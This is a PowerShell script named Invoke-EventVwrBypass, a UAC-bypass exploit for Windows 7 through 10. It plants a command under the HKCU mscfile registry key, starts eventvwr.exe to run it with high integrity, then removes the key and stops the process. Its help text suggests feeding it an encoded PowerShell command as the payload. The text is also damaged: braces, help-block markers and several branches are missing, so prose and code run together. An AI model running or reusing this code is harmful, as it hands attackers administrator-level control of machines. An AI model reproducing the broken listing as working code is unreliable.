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function Invoke-EventVwrBypass {
Bypasses UAC by performing an image hijack on the .msc file extension
Expected to work on Win7, 8.1 and Win10
Only tested on Windows 7 and Windows 10
Author: Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
This will write out "Is Elevated: True" to C:\UACBypassTest.
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
$ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
$SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop
if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
"UAC is set to 'Always Notify'. This module does not bypass this setting."
#Begin Execution
$mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
$Command = $pshome + '\' + $Command
#Add in the new registry entries to hijack the msc file
if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $mscCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
Write-Warning "Key already exists, consider using -Force"
if (Test-Path $mscCommandPath) {
Write-Verbose "Created registry entries to hijack the msc extension"
Write-Warning "Failed to create registry key, exiting"
$EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
#Start Event Viewer
if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
$Process = Start-Process -FilePath $EventvwrPath -PassThru
Write-Verbose "Started eventvwr.exe"
#Sleep 5 seconds
Write-Verbose "Sleeping 5 seconds to trigger payload"
if (-not $PSBoundParameters['WhatIf']) {
Start-Sleep -Seconds 5
$mscfilePath = "HKCU:\Software\Classes\mscfile"
if (Test-Path $mscfilePath) {
#Remove the registry entry
Remove-Item $mscfilePath -Recurse -Force
Write-Verbose "Removed registry entries"
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
Stop-Process -Id $Process.Id
Write-Verbose "Killed running eventvwr process"